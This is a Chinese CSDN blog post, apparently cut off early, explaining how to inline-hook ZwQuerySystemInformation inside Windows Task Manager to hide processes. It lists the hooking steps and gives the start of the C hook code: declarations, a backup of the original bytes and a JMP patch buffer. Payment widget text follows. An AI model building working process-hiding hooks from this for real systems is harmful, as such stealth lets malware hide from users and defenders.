InlineHook任务管理器_ZwQuerySystemInformation_隐藏进程

本文介绍了如何使用InlineHook技术在任务管理器的ZwQuerySystemInformation函数中隐藏进程。详细步骤包括查找目标函数地址,设置跳转到自定义函数,卸载钩子并过滤信息后恢复原函数执行。提供了hook代码示例,并展示了注入hookdll到任务管理器后的效果。
摘要由CSDN通过智能技术生成

InlineHook任务管理器_ZwQuerySystemInformation_隐藏进程


hook步骤:

  • 查找目标函数地址

  • 修改目标函数第一条指令跳转到我们构造的函数

  • 卸载掉钩子,执行正常的目标函数

  • 过滤掉特定信息后返回

hook代码如下

#include<windows.h>
#include<Winternl.h>

BOOL hook_code();
BOOL unHook_code();
NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);
char StroneDate[5]={0x00,0x00,0x00,0x00,0x00,};//备份原始字节
DWORD OldProtect;//原始页保护属性
DWORD dwAddress;//跳转偏移地址
FARPROC procaddr;
DWORD num;
byte pBuf[5]={0xE9,0xFF,0xFF,0xFF,0xFF};
typedef NTSTATUS (WINAPI * ZwQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength);

BOOL WINAPI DllMain(HMODULE hM
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值